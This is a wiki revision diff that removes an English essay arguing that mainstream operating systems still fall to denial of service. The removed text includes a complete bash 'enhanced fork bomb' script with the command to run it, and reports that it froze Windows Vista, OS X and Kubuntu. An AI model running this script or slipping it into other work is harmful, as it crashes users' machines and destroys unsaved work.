Benutzer:Rdiez/BrittleOperatingSystems: Unterschied zwischen den Versionen

Aus /dev/tal
Wechseln zu: Navigation, Suche
(Weiterleitung nach Benutzer:Rdiez/PageRemoved erstellt)
 
(6 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
{{BenutzerSeitenNichtVeraendernWarnung|rdiez}}
+
#REDIRECT [[Benutzer:Rdiez/PageRemoved]]
 
+
= Brittle Operating Systems =
+
 
+
It's hard to believe how brittle modern Operating Systems still are. After years of development and refinement, you would expect most mainstream OSes to have reached a reasonable level of robustness and security. However, a simple [http://en.wikipedia.org/wiki/Fork_bomb fork bomb] easily brings most OSes down.
+
 
+
It is as if the concept of [http://en.wikipedia.org/wiki/Denial-of-service_attack denial of service] would not belong in the [http://en.wikipedia.org/wiki/Software_security software security] category. Apparently, [http://en.wikipedia.org/wiki/Responsiveness responsiveness] does not fit into the OS writers' idea of [http://en.wikipedia.org/wiki/Robustness_%28computer_science%29 software robustness] either.
+
 
+
Admittedly, the simplest standard ''fork bomb'' does not do the trick any more, as most OSes nowadays limit the maximum number of child processes per session. However, it takes about a minute to write an enhanced version that still works, here it is:
+
 
+
#!/bin/bash
+
+
ENABLE_BOMB=true
+
ENABLE_PRINT_LEN=false
+
+
TEST="ab"
+
+
bomb() {
+
+
  if $ENABLE_BOMB; then
+
    bomb &
+
  fi
+
+
  TEST="$TEST$TEST"
+
+
  echo $TEST >/dev/null
+
  echo >/dev/null
+
+
  if $ENABLE_PRINT_LEN; then
+
    echo "TEST string length: ${#TEST}"
+
  fi
+
+
  bomb
+
};
+
+
bomb
+
 
+
I left a little extra code inside so that you can comfortably experiment with it. Just save it to a file called "ForkBomb-WARNING-may-crash-your-computer.sh", start it as follows and watch your OS slowly grind to a halt:
+
 
+
bash ForkBomb-WARNING-may-crash-your-computer.sh
+
 
+
That's it. You don't need to be logged on as [http://en.wikipedia.org/wiki/Root_user superuser] or change any special system configuration setting.
+
 
+
Your system may not technically die, it will probably start [http://en.wikipedia.org/wiki/Thrashing_%28computer_science%29 thrashing] so much that it quickly becomes unusable. On the other hand, some systems become unstable when they run out of memory. The OS kernel itself may be robust enough to cope, but you need many other system services in order to use your computer effectively, and chances are that at least one of them will start to fail and may not recover even if enough memory becomes available later on.
+
 
+
I have seen that little script bring the following systems down:
+
 
+
* Microsoft Windows Vista (under Cygwin). <br/> You get a low-memory warning which does not really help to deal with the problem. If you don't wait too long, you can log out and after a while you will get your system back.
+
* Apple OS X. <br/> Some things still worked, like the moving window animations or the system menu, but nothing else really worked. Pressing Ctrl+C in the terminal window seems to stop the script but does not actually help. Trying to log out has no effect either.
+
* Kubuntu 13.10. <br/> Tested on a Konsole window. The mouse pointers starts to jerk around and within 5 seconds the computer is frozen solid. None of the usual key combinations works any more.
+
 
+
Please do [[Benutzer:rdiez|drop me a line]] if you try it on other OSes, so that I can update the list above. Did you find one that resists the script in its default configuration?
+

Aktuelle Version vom 15. Mai 2015, 21:28 Uhr

Weiterleitung nach: